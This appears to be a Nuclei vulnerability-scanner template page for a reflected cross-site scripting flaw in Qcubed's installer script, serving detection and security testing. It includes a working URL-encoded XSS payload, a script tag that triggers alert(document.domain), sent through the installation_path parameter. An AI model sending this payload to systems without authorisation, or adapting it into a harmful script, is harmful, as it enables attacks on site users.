Qcubed - Cross-Site Scripting

ID: qcubed-xss

Severity: high

Author: pikpikcu

Tags: xss,qcubed

Description

Qcubed contains a cross-site scripting vulnerability which allows a remote attacker to inject arbitrary JavaScript via the /assets/php/_devtools/installer/step_2.php endpoint and the installation_path parameter.

YAML Source

id: qcubed-xss

info:
  name: Qcubed - Cross-Site Scripting
  author: pikpikcu
  severity: high
  description: Qcubed contains a cross-site scripting vulnerability which allows a remote attacker to inject arbitrary JavaScript via the /assets/php/_devtools/installer/step_2.php endpoint and the installation_path parameter.
  reference:
    - https://github.com/qcubed/qcubed/issues/1230
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 2
  tags: xss,qcubed

http:
  - method: GET
    path:
      - "{{BaseURL}}/assets/php/_devtools/installer/step_2.php?installation_path=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
      - "{{BaseURL}}/qcubed/assets/php/_devtools/installer/step_2.php?installation_path=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '</script><script>alert(document.domain)</script>'
        part: body

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - text/html
# digest: 4a0a0047304502205e19675606e3e853cafa04819cb74336354f21edbb2c2ee3147138623ae334ff022100fcc3bc764441228231cba95770fcb82430309f5406bf7a6f1004aa90a4716c72:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/qcubed-xss.yaml"

View on Github